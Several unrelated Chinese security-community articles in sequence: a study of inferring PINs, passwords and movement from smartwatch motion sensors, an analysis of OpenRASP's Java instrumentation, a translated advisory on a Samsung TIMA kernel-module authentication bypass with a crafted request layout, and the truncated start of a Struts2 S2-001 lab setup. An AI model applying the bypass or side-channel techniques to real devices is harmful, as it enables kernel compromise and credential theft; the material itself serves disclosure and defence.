为了我们的研究目的，我们基于Google的参考代码编写了一个相当简单的应用程序，并对基于Android Wear 2.5和Android
5.1智能手表操作系统的华为手表（第一代）、Kingwear KW88和PYiALCY
X200智能手表进行了一些简单的实验。这些手表的选择是因为它们的可用性以及为它们编写应用程序时的简易性（我们假设在iOS中利用嵌入式陀螺仪和加速度计也遵循类似的方法）。
_记录智能手表在输入密码期间的信号_
为了确定传感器的最佳采样频率，我们用不同的设备进行了一系列测试，从低功耗模型（处理器方面）如Arduino 101和小米Mi Band
2开始。然而，传感器采样和数据传输速率的结果并不让人满意——为了获得或多或少让人满意的互相关（cross-correlation）值，需要至少50Hz的采样频率。我们也排除了大于100赫兹的采样率：每秒8KB的数据可能并不算太多，但并不适用于长达数小时的日志记录。最后，我们的应用程序选择以100
Hz的频率对嵌入式传感器进行采样，并记录手机内存中三个方向（x，y，z）的加速度计和陀螺仪读数的瞬时值。
无可否认，获得一整天的“数字快照”并不容易，因为华为手表在这种模式下的续航时间不超过六个小时。
但还是让我们来看看这段时间内的加速度计读数记录。纵轴表示以m /
s^2为单位的加速度，横轴表示样本数（平均以10毫秒为单位）。加速度计和陀螺仪读数如下图所示。
_一小时内记录的用户的数据分析。顶部 – 加速度计信号，底部 – 陀螺仪信号_
这张图包含五个清晰可见的不同区域图案。对于那些精通运动学的人来说，这张图透露了很多用户信息。
最明显的运动模式是步行。我们也将从此开始。
当用户走路时，戴着智能手表的手像钟摆一样摆动，而钟摆摆动是一个周期性的过程，因此，如果在图表上存在运动传感器的加速度或方位读数根据周期性规律而变化的区域，则可以假定用户正在那时行走。分析数据时，整体考虑加速度计和陀螺仪读数十分有效。
让我们仔细看看短时间间隔内震荡幅度最大的区域（紫色区域Pattern1，Pattern3和Pattern5）。
_加速度计和陀螺仪在步行时的读数_
在这个例子中，可注意到手的周期性振荡持续来12分钟（Pattern1，如上图）。尽管对加速度数据的双重数值积分计算显示其精度和可变的特定速度可接近于用户在某处行走的积分常数（初始速度和坐标），但在没有请求地理信息的情况下，仍然很难准确地显示用户的动向。
_加速度计数据的数值积分计算结果，该数据可估算用户在1小时内沿x和y轴方向的位移（z轴位移为零，遂图中不显示）_
注意，相对于X轴位移的Y轴位移的曲线显示了人的大致路径。在这种非常原始的方法下，虽然距离并不太精确，但相当震撼的是它的精度可达到以千米计。想要提升行进距离的精度，可以用人体测量数据来估计每一步的长度（这也是健身追踪器的基本功能），但我们不会在这次的研究中研究这一点。
_根据对加速度计数据沿X和Y轴进行数值积分计算可确定的被观察人员的大致路径_
相比之下更困难的是分析那些不太活跃的区域。可以清晰地看到这个人在这段时间里处于休息状态。手表的方向没有变化，但存在加速度，则表明此人正在通过汽车（或电梯）移动。
下面显示了另一个22分钟的片段。这显然不是步行，因为没有可观察到的信号周期性振荡。但是，我们看到沿一个轴上的加速度信号膜的周期性变化，它可能是一种直线运动但中途有停靠的公共交通工具。
_乘坐公共交通工具时的加速度计数据_
以下是另一个时间片段：
_Pattern 3，加速度计数据_
这似乎是短时间行走（几秒钟）、暂停和忽然的手部动作的混合物。这个人大概是在室内。
下面我们讲解释图上的所有区域。
_区域解码后的加速度计和陀螺仪读数_
这是一个在三次步行（12，3和5分钟）中穿插地铁（20和24分钟）的旅程。短步行间隔具有一些特殊的特征，因为它涉及从地铁线路的更换。这些特征显而易见，但我们的兴趣在于用可在可穿戴设备上执行的算法来确定它们。因此，我们使用简单的互相关（cross-correlation）计算来代替神经网络（我们也知道神经网络对于这类任务来说非常棒）。
针对两段步行数据（Walking1和Walking2），我们用10秒钟的信号数据阵列计算了它们之间的互相关以及与噪声数据的互相关。
_两个步行部分互相关和步行部分与噪声部分的互相关函数的最大值_
从表中可以看出，即使这种计算互相关函数的方法十分基础，其也让我们可以在用户的“数字快照”中识别出运动模式，而且精确度高达83％（考虑到对相关性）。这个指标可能看起来并不高，但需要强调的是，我们还没有优化样本规模，也没有使用更复杂的例如被假定在确定特征部分信号记录方面更出色的主成分分析的算法。
这为潜在的攻击者提供了什么？通过识别用户在地铁中的移动，并且通过对这种移动的特征方向进行判断，我们可以确定用户正在乘坐哪条地铁线路。当然，使用磁力仪可以获得有关X和Y轴在空间中方向的数据可以让这个过程更加简单。但不幸的是，电动机的强大电磁拾音、确定偏北方向的低精确度以及智能手表中相对较少的磁力计迫使我们放弃了这一想法。
如果没有关于空间X轴和Y轴方向的数据（最有可能，对于单个周期不同），解码运动轨迹的问题会变成将已知长度的时间片段叠加到地形图上的几何任务。再一次，让我们站在攻击者的角度，我们可以寻找磁场爆发来表示电动火车（有轨或无轨电车）的加减速，这可使我们能够在我们感兴趣的时间片段中计算出其中的临时停靠点的数量。但这也超出了我们此次研究的范围。
## 关键数据的Cyberphysical拦截
这些或许可以确定用户何时到达工作场所、在公司计算机上登录、解锁他或她的电话等。将目标的移动数据与坐标进行比较，我们可以确定他们通过一个ATM访问银行并输入PIN码的时间。
### PIN码
从佩带在手腕上的智能手表上获取加速度计和陀螺仪信号的PIN码有多容易？我们要求了四名志愿者在真正的ATM机上输入他们的个人PIN码。
_在ATM键盘上输入PIN码时的加速度计信号_
用基本方法从传感器读数中截取未加密的PIN码并不那么简单。但“加速度计日志”这一部分给出了一些信息——例如，图的前半部分表示手处于水平位置，而后半部分的振荡值表示键在ATM键盘上被按下。借助神经网络，来自加速度计和陀螺仪三轴的信号可用于破译随机人员的PIN码，其最小精度为80％（由来自[Stevens
Institute of Technology](http://engineering.nyu.edu/events/2017/01/26/friend-or-foe-your-wearable-devices-reveal-your-personal-pin)的同行指出）。这种攻击的缺点是智能手表的计算能力还不足以实现神经网络;
然而，使用简单的互相关计算来识别这种模式并且然后将数据传送到更强大的解码机器是非常可行的。而事实上，这也正是我们所做的。
_ATM上输入PIN码数据的互相关函数的最大值_
粗略地解释这些结果则是：从一般的信号通信流中恢复PIN码输入方式或许需要能达到87％的准确度。
### 密码和解锁码
除了ATM之外，我们还对另外两种智能手表可能会威胁用户安全的情况感兴趣：输入计算机密码并解锁智能手机。当然，我们已经知道了对[电脑](http://synrg.csl.illinois.edu/papers/mole.pdf)和[手机](https://eprint.iacr.org/2017/1169.pdf)使用神经网络时的答案，但我们仍然想要亲自探索佩戴智能手表的风险。
当然，捕获在电脑上手动输入的密码需要该人在两个手腕上佩戴智能手表，这是不太可能的情况。而且尽管从理论上讲，字典可以用来从单手信号恢复语义上有意义的文本，但如果密码[足够强](https://password.kaspersky.com/)，它也将无济于事。但是，这里的主要危险不在于传感器信号的实际密码恢复，而在于输入密码时的轻易检测。我们来详细考虑这些情景。
我们要求四个人在计算机上输入相同的13个字符密码20次。同样，我们进行了另一项实验：让两名参与者解锁使用4位密钥的LG Nexus
5X智能手机，每轮四次。我们还记录了每个参与者在模拟“正常”行为（特别是在聊天室中）时的活动。在实验结束时，我们同步读数的时间，删除了多余的信号。
所有传感器轴共获得480个离散函数。它们每个都包含250-350个读数，取决于输入密码或任意数据时所耗费的时间（大约三秒）。
_一个人尝试在一台台式计算机上输入同一密码四次时，所发出的加速度计和陀螺仪轴的信号_
用肉眼看，所得图形几乎相同；极端情况是一致的，部分原因是每次尝试的密码和输入方式都是相同的，这也意味着由同一个人生成的数字指纹彼此之间非常相似。
_不同的人在尝试输入同一个密码时，所发出的加速度计和陀螺仪轴的信号_
当叠加从不同的人接收到的信号时，可以看出，虽然密码是相同的，但输入的方式不同，所以在视觉上也极度不同。
_由两个不同的人为同一部智能手机输入解锁码_
这与手机的情况类似。此外，加速度计捕捉用拇指敲击屏幕的时刻，而从中可以轻易地确定密码长度。
人的眼睛容易被欺骗，但另一方面，统计数据却难以掩盖。我们从一个人到不同的人的密码输入尝试来计算互相关函数的最简单和最明显的方法开始。
下图表显示了加速度计和陀螺仪相应轴的数据互相关函数的最大值。
_在台式计算机上由不同人输入的密码数据的互相关函数的最大值_
一般来说，即使是非常简单的互相关计算识别出一个人的精确度也可以高达96％！如果我们比较任意文本输入模式下来自不同人的信号的互相关函数的最大值，则相关最大值不超过44％。
_用于不同活动的数据互相关函数的最大值（密码输入与平常上网）_
_由同一人或不同的人输入的解锁码数据的互相关函数的最大值_
请注意，输入智能手机解锁码时最小的互相关函数值（最高达64％），和输入电脑密码时最大的互相关函数值（最高达96％）。这样的结果符合预期，因为在解锁的情况下，手的移动和相应的加速度（线性和角度）是最小的。
但是，我们再次注意到，智能手表可用的计算能力足以计算相关函数，也就是说智能可穿戴设备可以自行执行此任务！
## 结论
从信息安全角度来看，毫无疑问，我们可以得出的结论是：便携式Cyberphysical系统扩大了潜在入侵者的攻击面。也就是说，主要危险不在于直接拦截输入数据——这非常困难（最成功的结果也是使用神经网络实现），并且迄今为止准确性方面还有很多不足之处，这取决于基于嵌入式传感器发出的信号对用户物理行为的分析。智能设备不仅能够通过外部命令来启动和停止从传感器记录信息，还能够在发生某些事件或满足特定条件时记录信息。
只要电话能够访问互联网，录制的信号就可以通过它传送到攻击者的服务器。因此，事实上Google
Play商店中的一个不起眼的健身应用程序或新的手表屏幕都可以用来对付你。除了这个应用程序，只需发送一次地理标记并请求链接到您的Google
Play帐户的电子邮件地址就足以根据您的动作确定您是谁，您去过哪里，以及您的智能手机使用情况，以及您在ATM上输入PIN码时的情况。
我们发现从可能对应于密码或其他敏感信息（姓名，电子邮件地址）的流量中提取数据是一项相当简单的任务。如前所述，攻击者可以在PC或云服务上将这些可用识别算法的全部功能应用于这些数据，然后可以从加速度计和陀螺仪信号日志中恢复这些敏感信息。此外，这些信号在较长时间的积累后有助于跟踪用户的移动——而且不需要地理信息服务（如GPS
/ GLONASS或基站信号）。
我们确定，使用简单方法分析来自嵌入式传感器（例如加速度计和陀螺仪）的信号，即使只具有可穿戴设备的计算能力，也可以确定输入同一文本的时刻（例如，身份验证数据），台式电脑的准确率高达96％，移动设备的准确率高达64％。后者的准确性可以通过编写更复杂的算法处理收到的信号来优化，但我们故意应用了最基本的数学工具箱。考虑到我们通过对企业用户面临的威胁的棱镜来观察这个实验，所获得的台式计算机的结果是此次研究值得被关注的主要因素。
考虑到使用可穿戴设备的情况可能涉及智能手表上合法应用程序的下载——例如，定期向服务器发送数十KB大小的数据包的健身追踪器（例如，13个字符的密码的未压缩“信号签名”大约是48KB）。
由于这些应用程序本身是合法的，因此我们假设除了我们的Android可穿戴设备和 Android智能手表的测试用例外，这种情况也可以应用于Apple智能手表。
## 建议
以下有几种迹象可表明下载到智能手表上的应用可能不安全。
* 1.例如，应用程序可能发送有关用户帐户数据的请求（Android中的GET_ACCOUNTS权限），因为网络罪犯需要将“数字指纹”与其所有者相匹配，所以这一点十分重要。然而，应用程序也可以允许用户通过提供电子邮件地址进行注册——但在这种情况下，您至少可以自由输入您的银行卡链接到的Google Play帐户不同的地址。
* 2.如果应用程序另外请求发送地理位置数据的权限，则更应该注意，在这种情况下，明确的建议是不允许为您智能手表上的下载的健身追踪器提供额外的权限，并且在注册时指定公司的电子邮件地址。
* 3.电池寿命的短暂也是一个令人担忧的严重问题。如果您的设备在几个小时内被取下，则表示您可能正在被监视。理论上，智能手表可以存储长达数十小时的活动日志，并在之后上传这些数据。
总的来说，我们建议您密切关注公司员工所戴的智能手表，并可能调整其在公司安全策略中的使用。我们计划继续研究诸如可穿戴智能设备等Cyberphysical系统，以及使用它们的额外风险。 | 社区文章 |
作者：c0d3p1ut0s
#### 0x00 前言
RASP（Runtime Application self-protection）是一种在运行时检测攻击并且进行自我保护的一种技术。关于RASP技术和RASP实践，这是我写的第二篇文章，上一篇文章在[这里](https://c0d3p1ut0s.github.io/%E4%B8%80%E7%B1%BBPHP-RASP%E7%9A%84%E5%AE%9E%E7%8E%B0/)，是关于RASP技术在PHP中的实践，无论是从设计思路还是技术实现来说，PHP
RASP和OpenRASP
Java实现都比较相似。有兴趣的同学可以粗略看看，不必太关心技术细节，了解设计思路、工作原理即可，很多时候，对技术宏观的把握对理解技术细节和设计思路非常有用。
#### 0x01 RASP技术
关于RASP的发展、RASP与各种WAF的区别以及RASP的简单原理可以看《[一类PHP
RASP的实现](https://c0d3p1ut0s.github.io/%E4%B8%80%E7%B1%BBPHP-RASP%E7%9A%84%E5%AE%9E%E7%8E%B0/)》这篇文章的`RASP概念`和`我的WAF世界观`这两部分，这两部分大约可以回答关于RASP技术的两个问题，一是RASP技术是工作在哪一层，为了解决什么问题而存在的，二是它大致是怎么实现的，这里就不写了。下面以OpenRASP为例分析一下Java
RASP的实现。
#### 0x02 JVMTI && Java Instrumentation
JVMTI是JVM提供的一些回调接口集。JVM在特定的状态会执行特定的回调函数，开发者实现这些回调函数就可以实现自己的逻辑。Java
Instrumentation就是利用JVMTI实现的。
Java Instrumentation是Java强大功能的一个体现，Java
Instrumentation允许开发者访问从JVM中加载的类，并且允许对它的字节码做修改，加入我们自己的代码，这些都是在运行时完成的。无需担心这个机制带来的安全问题，因为它也同样遵从适用于Java类和相应的类加载器的安全策略。
#### 0x03 OpenRASP简要分析
OpenRASP以Java
Instrumentation的方式工作在JVM层，它主要通过hook可能引发漏洞的关键函数，在这些关键函数执行之前添加安全检查，根据上下文和关键函数的参数等信息判断请求是否为恶意请求，并终止或继续执行流。
Java
Instrumentation允许开发者添加自定义的字节码转换器来对Java字节码进行自定义的操作转化，从而实现在不修改源代码的情况下，实现AOP。当然，有一些开源的Java字节码类库帮助开发者操作Java字节码。OpenRASP的开发者选择了ASM这个框架，相比其他的框架，ASM的优点是更加底层、更加灵活，功能也更加丰富。
OpenRASP另一个值得称道的做法是使用了js来编写规则，通过Java语言实现的js引擎来执行脚本。OpenRASP官网关于为什么用JavaScript实现检测的逻辑的解释是
OpenRASP会支持PHP、DotNet、NodeJS、Python、Ruby等多种开发语言，为了避免在不同平台上重新实现检测逻辑，引入了插件系统;
选择JS作为插件开发语言。当然，这是优点之一。笔者认为，另一个优点是使用JS插件系统可以很方便的支持热部署。笔者曾经有幸参与某商业RASP产品的研发和测试，各语言规则的重复编写和热部署是两个令我们头痛的问题，而使用js引擎就可以很好的解决这两个问题。
#### 0x04 Talk is cheap
俗话说，Talk is cheap，show me the code. 下面简要分析一下OpenRASP的代码。OpenRASP是一个Java
Instrumentation，它的入口是`public static void premain(String agentArg,
Instrumentation
inst)`函数，OpenRASP中的`premain`方法在`com.fuxi.javaagent.Agent`中。这个方法中主要的代码如下
//........省略部分代码........
JarFileHelper.addJarToBootstrap(inst);
//........省略部分代码........
PluginManager.init();
initTransformer(inst);
//........省略部分代码........
`JarFileHelper.addJarToBootstrap(inst)`的关键是JarFileHelper中`inst.appendToBootstrapClassLoaderSearch(new
JarFile(localJarPath))`这行代码，它的作用是将rasp.jar加入到bootstrap
classpath里，优先其他jar被加载。在Java
Instrumention的实现中，这行代码应该是很常见的。为什么要这样做呢？在Java中，Java类加载器分为BootstrapClassLoader、ExtensionClassLoader和SystemClassLoader。BootstrapClassLoader主要加载的是JVM自身需要的类，由于双亲委派机制的存在，越基础的类由越上层的加载器进行加载，因此，如果需要在由BootstrapClassLoader加载的类的方法中调用由SystemClassLoader加载的rasp.jar，这违反了双亲委派机制。所以，而rasp.jar添加到BootstrapClassLoader的classpath中，由BootstrapClassLoader加载，就解决了这个问题。
接着是`PluginManager.init()`，初始化插件系统。`PluginManager.init()`的具体代码如下：
JSContextFactory.init();
updatePlugin();
initFileWatcher();
`JSContextFactory.init()`的主要作用是初始化js引擎，这里使用的js引擎是Mozilla的Rhino，Mozilla旗下提供了各种语言的js引擎的成熟实现，例如用C/C++实现的js引擎SpiderMonkey等。`JSContextFactory.init()`先初始化了js引擎，执行了一堆js文件，笔者js水平有限，就不分析了。接着把jsstdout注入到js环境中，处理js环境中的输出。把JSTokenizeSql和JSRASPConfig注入到RASP对象中，为js环境提供sql_tokenize方法，提供对SQL语句进行tokenize的能力。接下来`updatePlugin()`方法读取插件目录下的js文件，执行js脚本，加载插件。`initFileWatcher()`添加了文件监控，一旦插件目录下的js文件发送变化，则调用`updatePluginAsync()`执行clean方法，执行js脚本，更新插件，实现热部署功能。
接下来是`initTransformer(inst)`方法，它调用`inst.addTransformer(new
CustomClassTransformer(),
true)`方法添加了CustomClassTransformer这个Class转换器，这样，每一个类的字节码在加载之前都会调用`CustomClassTransformer.transform(..)`（参数省略）方法，对字节码进行更改之后，字节码被载入JVM中，接下来继续类加载过程：加载->验证->准备->解析->初始化。`CustomClassTransformer`类在初始化的时候创建了很多个ClassHook对象，代码如下：
public CustomClassTransformer() {
hooks = new HashSet<AbstractClassHook>();
addHook(new WebDAVCopyResourceHook());
addHook(new CoyoteInputStreamHook());
addHook(new DeserializationHook());
addHook(new DiskFileItemHook());
addHook(new FileHook());
//.....省略......
}
我们看一下`CustomClassTransformer.transform(..)`这个方法，如果当前加载的类是需要转换的，即`hook.isClassMatched(className)`返回true，就会调用`hook.transformClass(className,
classfileBuffer)`对字节码进行转化。`transformClass`的代码在`com.fuxi.javaagent.hook.AbstractClassHook`中，如下所示：
public byte[] transformClass(String className, byte[] classfileBuffer) {
try {
ClassReader reader = new ClassReader(classfileBuffer);
ClassWriter writer = new ClassWriter(reader, computeFrames() ? ClassWriter.COMPUTE_FRAMES : ClassWriter.COMPUTE_MAXS);
LOGGER.debug("transform class: " + className);
ClassVisitor visitor = new RaspHookClassVisitor(this, writer);
reader.accept(visitor, ClassReader.EXPAND_FRAMES);
return writer.toByteArray();
} catch (RuntimeException e) {
LOGGER.error("exception", e);
}
return null;
}
这段代码调用了ASM库，关于ASM库的详情请看[这里](http://web.cs.ucla.edu/~msb/cs239-tutorial/)，为了方便读者，笔者翻译了一下，在[这里](https://c0d3p1ut0s.github.io/%E8%AF%91-%E4%BD%BF%E7%94%A8ASM%E5%AF%B9Java%E5%AD%97%E8%8A%82%E7%A0%81%E6%8F%92%E6%A1%A9/)。如上文中所说，ASM是一个强大的字节码操作库。它主要使用了设计模式中的访问者模式，使用访问者模式的好处是数据结构与数据操作分开。在ASM中哪些是数据结构呢？转换前字节码中类、方法、注释、成员变量等就是数据结构，对这些字节码的操作就是数据操作。在ASM中，开发者不需要关心ASM解析字节码，遍历类、方法、注释等是怎样实现，只需要知道`ClassReader.accept()`接受一个ClassVisitor实例作为参数，在ASM遍历类、方法、注释时，ASM会调用`ClassVisitor.visitMethod()`、`ClassVisitor.visitAnnotation()`等方法。开发只需要重写这些方法，就可以操作方法、注释的字节码。如上面的代码所示，OpenRASP开发者创建了一个RaspHookClassVisitor类，重写了`visit`和`visitMethod`方法。在`visitMethod`方法中，ClassHook的`hookMethod`方法被调用，下面以FileHook为例，看一下`hookMethod`方法：
public MethodVisitor hookMethod(int access, String name, String desc, String signature, String[] exceptions, MethodVisitor mv) {
if (name.equals("listFiles")) {
return new AdviceAdapter(Opcodes.ASM5, mv, access, name, desc) {
@Override
protected void onMethodEnter() {
loadThis();
invokeStatic(Type.getType(HookHandler.class),
new Method("checkListFiles", "(Ljava/io/File;)V"));
}
};
}
return mv;
}
`invokeStatic(Type.getType(HookHandler.class),new Method("checkListFiles",
"(Ljava/io/File;)V")`这行代码调用了静态方法`HookHandler.checkListFiles`来实现对`java.io.File.listFiles`方法的检测。
各关键函数的检测有些区别，我就不分析了，很多都是最后调用`com.fuxi.javaagent.plugin.check`进行检测，而`com.fuxi.javaagent.plugin.check`最后调用了各js函数来检测。代码如下
checkProcess = processList.get(i);
function = checkProcess.getFunction();
try {
tmp = function.call(this, scope, function, functionArgs);
}
//......省略......
对检测细节感兴趣的可以一个一个跟。
#### 0x05 关于OpenRASP规则的几点说明
OpenRASP提供了一些官方插件，当然，相关的规则还是需要根据业务和开发水平来定制。开发者水平参差不齐，什么奇葩的实现方式都有。例如，笔者之前参与研发的RASP也有这么一条规则：禁止在SQL语句中出现常量比较操作。但是，这条规则在实际中却有不少误报。很多开发会这样写(用伪代码表示一下)：
String sql="select * from table where 1=1";
for(key,value in condition.items()){
sql+=" and "+key+"="+"value";
}
开发会自己添加1=1，为了能方便的在循环中在SQL后面的where语句中直接加and，而1=1永远为真，不影响后面的逻辑。所以说，规则永远是和场景分不开的，同样，不深入开发、不深入客户很难做好安全产品。说白了，做安全，开发安全产品和软件工程的目标是一致的，即让大多数的Stakeholder(利益相关者)满意。开发当然也是RASP产品的Stakeholder。好了，扯远了。
OpenRASP中对SQL做了词法分析来实现"零规则"检测。实际上，词法分析的主要作用是将SQL语句分割成数据和代码。SQL注入的本质是代码注入，有了词法分析的帮助，Web层就可以判断对SQL语句的字符串处理是否改变了SQL的逻辑。这是词法分析为什么可以用来检测SQL注入的原因，类似的，利用词法分析也可以检测其他代码注入。不过把SQL的词法分析做好并不容易，一个原因是SQL语句语法复杂，不同的数据库有不同的语法，不同的数据库还有不同的奇葩特性。从代码来看OpenRASP的词法分析暂时还没有区分不同的数据库。
RASP并不能高效地防御所有的漏洞，还是那句话，Web服务器、解释器/JVM、数据库、操作系统各有各的防御阵地，各有各的优势，充分发挥它们的优势，才能更好的做好安全防护。希望这篇文章能对想用RASP产品或者想研发RASP的公司有一些帮助。
#### 0x06 Reference
* [OpenRASP官网](https://rasp.baidu.com/)
* [ASM](http://asm.ow2.org/)
* [绿盟博客](http://blog.nsfocus.net/openrasp-tech/)
#### 0x07 关于作者
* [我的博客](https://c0d3p1ut0s.github.io/)
* c0d3p1ut0s [email protected]
* * * | 社区文章 |
# 【漏洞分析】深入分析TIMA任意内核模块认证绕过漏洞
|
##### 译文声明
本文是翻译文章，文章来源：bugs.chromium.org
原文地址：<https://bugs.chromium.org/p/project-zero/issues/detail?id=960>
译文仅供参考，具体内容表达以及含义原文为准。
**翻译：**[ **shan66**
****](http://bobao.360.cn/member/contribute?uid=2522399780)
**预估稿费：140RMB**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
**前言**
为了确保Android设备中Linux内核的完整性，三星推出了一个名为“lkmauth”的功能。该功能的最初目的是，确保只有三星核准的那些内核模块才可以加载到Linux内核中。
**TIMA任意内核模块认证绕过漏洞分析**
每当内核尝试载入内核模块时，系统就会用到“lkmauth”功能。在加载内核模块之前，内核首先会加载“lkmauth”的trustlet，并发送一个请求，来验证模块的完整性。
由于三星设备使用了两个不同的TEE，所以对于每个TEE都单独实现了相应的“lkmauth”功能。
在使用QSEE
TEE（它使用了内核配置TIMA_ON_QSEE）的设备上，使用“tima_lkmauth”的trustlet来验证待加载的内核模块的完整性。当然，这个trustlet本身是相当简单的——它提供了一个硬编码的列表，来保存所有“可允许”的内核模块的SHA1哈希值。如果当前待加载的内核模块的SHA1没有出现在硬编码的列表中，那么它就会被拒绝。
对于使用MobiCore
TEE（使用内核配置TIMA_ON_MC20）的设备而言，它们会通过“ffffffff00000000000000000000000b.tlbin”trustlet来验证待加载内核模块的完整性。然而，在这种情况下，其流程会稍微有点复杂，下面简单介绍加载模块的具体步骤：
1\. [如果trustlet尚未加载]：加载trustlet。
2\. [如果已批准的哈希值列表尚未加载]：向trustlet发送请求，以便加载已批准的SHA1哈希签名列表。
3\. 将存放内核模块的缓冲区传递给trustlet进行验证。如果该内核模块的SHA1哈希值不在先前加载的已批准哈希值列表中，则会被拒绝。
已经批准的模块的哈希值组成的列表，将作为设备固件的一部分，存储在文件“/system/lkm_sec_info”中。该文件的结构如下所示：
<LIST_OF_APPROVED_SHA1_HASHES> || <RSA-SHA1(LIST_OF_APPROVED_HASHES)>
RSA签名本身会使用PKCS＃1 v1.5进行填充，其中BT = 1，PS是0xFF字节的常量字符串。
用于验证签名的公钥，我们可以通过静态分析方法从trustlet中找到。在trustlet的自身代码中，2048位的模数（N）是以反向字节顺序硬编码的形式存在的。经验证，在许多不同的设备和版本（如GT-I9300、SM-P600、SM-G925V等）中，都使用了相同的常量模量。这个模数本身是
23115949866714941391353337177289175219285878274139282906616665210063884406381659531323213685988661310147714551519208211866717752764819593136041821730036424774768373518089158559738346399417711215445691103520271683108620470478217421253901045241463596145712323679479119182170178158376677146612087823704797563128645982031650495998390419939015769566125776929249878666421780560391442439477189264423758971325406632562977618217815844688082799802924540355522191958147326121713251815752299744182840538928330568160188518794896256711464745438125835732128172016078553039694575936536720388879378619731459541542508235684590815108447
这里使用的公钥指数为3。
发送到trustlet的请求缓冲区具有以下结构：
/* Message types for the lkmauth command */
typedef struct lkmauth_hash_s {
uint32_t cmd_id;
uint32_t hash_buf_start;/* starting address of buf for ko hashes */
uint32_t hash_buf_len;/* length of hash buf, should be multiples of 20 bytes */
uint8_t ko_num;/* total number ko */
} __attribute__ ((packed)) lkmauth_hash_t;
通过对trustlet中处理这个命令的代码进行逆向工程，得到了处理函数高级逻辑代码，具体如下所示：
int load_hash_list(char* hash_buf_start, uint32_t hash_buf_len, uint8_t ko_num) {
//Checking the signature of the hash buffer, without the length of the
//public modulus (256 bytes = 2048 bits)
uint32_t hash_list_length = hash_buf_len - 256;
char* rsa_signature_blob = hash_buf_start + hash_list_length;
if (verify_rsa_signature(hash_buf_start, hash_list_length, rsa_signature_blob))
return SIGNATURE_VERIFICATION_FAILURE;
//Copying in the verified hashes into the trustlet
//SHA1 hashes are 20 bytes long (160 bits) each
//The maximal number of copied hashes is 0x23
//g_hash_list is a list in the BSS section of the trustlet
//g_num_hashes is also in the BSS section of the trustlet
uint8_t i;
for (i=0; i<ko_num && i<0x23; i++) {
memcpy(g_hash_list + i*20, hash_buf_start + i*20, 20);
}
g_num_hashes = i;
return SUCCESS;
}
问题在于，上述代码包含了一个逻辑缺陷：没有对“ko_num”字段进行相应的验证，以确保其匹配哈希值列表的实际长度。这意味着攻击者能够欺骗trustlet来加载额外的“允许哈希值”，即使它们不是已经签名的blob的一部分。为此，可以在提供与哈希值列表的原始长度匹配的"hash_buf_len"的时候，通过提供一个大于实际哈希值数量的“ko_num”字段来达到这一目的。然后，攻击者可以在缓冲器中的签名blob之后提供任意的SHA1哈希值，从而导致这些额外的哈希值也会被复制到已经批准的可信哈希值列表中。
下面给出此类攻击的一个具体例子：
hash_buf_start = <ORIGINAL_SIGNED_HASH_LIST> ||
<RSA-SHA1(ORIGINAL_SIGNED_HASH_LIST)> ||
<4 GARBAGE BYTES> ||
<ATTACKER_CONTROLLED_SHA1_HASH>
hash_buf_len = len(<ORIGINAL_SIGNED_HASH_LIST>) +
len(<RSA-SHA1(ORIGINAL_SIGNED_HASH_LIST)>)
ko_num = (<ORIGINAL_SIGNED_HASH_LIST>/20) + ceil(256/20) + 1
由于“/system/lkm_sec_info”中的原始哈希值列表长度总是很短（例如从来不超过8）的，因此表达式（（<ORIGINAL_SIGNED_HASH_LIST>
/ 20）+
ceil（256/20）+1）的值永远不会大于22。但是它仍然小于0x23（35）个哈希值的硬编码下限，这意味着上面的代码能够正常执行所提供的命令。此后，已批准的哈希值列表将会变成如下所示的结构：
original_approved_hash_1
original_approved_hash_2
...
original_approved_hash_n
bytes_00_to_20_of_rsa_signature
bytes_20_to_40_of_rsa_signature
...
bytes_240_to_256_of_rsa_signature || 4_garbage_bytes
attacker_controlled_sha1_hash
实际上，这就将攻击者控制的SHA1哈希值插入到了已批准的哈希值列表中，从而成功绕过了签名验证。
该漏洞的一种利用方法是，控制一个可以加载内核模块的进程，然后将感染的哈希值列表请求发送给trustlet。例如，“system_server”进程就具有这种能力，同时还能够加载trustlet，并与之进行通信（我们已经在SM-G925V的默认SELinux策略中进行了相应的验证）：
allow system_server mobicore-user_device : chr_file { ioctl read write getattr lock append open } ;
allow system_server mobicoredaemon : unix_stream_socket connectto ;
allow system_server mobicore_device : chr_file { ioctl read write getattr lock append open } ;
将受感染的哈希值列表加载到trustlet之后，攻击者就可以尝试加载与刚才插入到列表中的SHA1哈希值相匹配的内核模块了。需要注意的是，加载模块的第一次尝试将会失败，因为内核将尝试加载已批准的哈希值列表本身，但是trustlet将检测到此情况并返回错误代码RET_TL_TIMA_LKMAUTH_HASH_LOADED。这样的话，内核会做一个标记，指出列表已经加载好了——也就是说，下一次加载模块的时候，就不会重新加载这个列表了：
...
else if (krsp->ret == RET_TL_TIMA_LKMAUTH_HASH_LOADED) {
pr_info("TIMA: lkmauth--lkm_sec_info already loadedn");
ret = RET_LKMAUTH_FAIL;
lkm_sec_info_loaded = 1;
}
...
之后，第二次尝试加载已经感染的模块的时候，就会成功了，因为它的哈希值已经位于已批准的哈希值列表中了。 | 社区文章 |
# 前言
由于之前在校时面向对象语言学习的是C++，而后又学的是php和Python，从而完全没有涉及过java的领域，java安全这块的内容也一直没怎么涉及。看着师傅们在讨论java的漏洞利用时也无法参与。
于是想着，趁着暑假这最后还有一两个星期的时间，入门学习一下java安全。于是就挑了个struts2 S2-001来复现。
由于在java
web这块完全没有什么基础，导致踩了很多坑，有些小问题也卡壳卡了很久，最后总算还是艰难的完成了复现以及分析，接下来分享一下自己从零开始搭建环境，到分析漏洞的过程。
# 环境搭建
平台：win10
工具：
* Apache Tomcat 9.0.7
* IntelliJ IDEA
首先在IDEA中新建一个project
创建好后源码代码结构如下
接下来依此来搭建环境
首先先从<http://archive.apache.org/dist/struts/binaries/struts-2.0.1-all.zip>
中下载struts2的jar包
然后将在`WEB-INF`目录中新建lib目录，将所需的五个包放入
然后修改web.xml内容为
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1">
<display-name>S2-001 Example</display-name>
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
</filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<welcome-file-list>
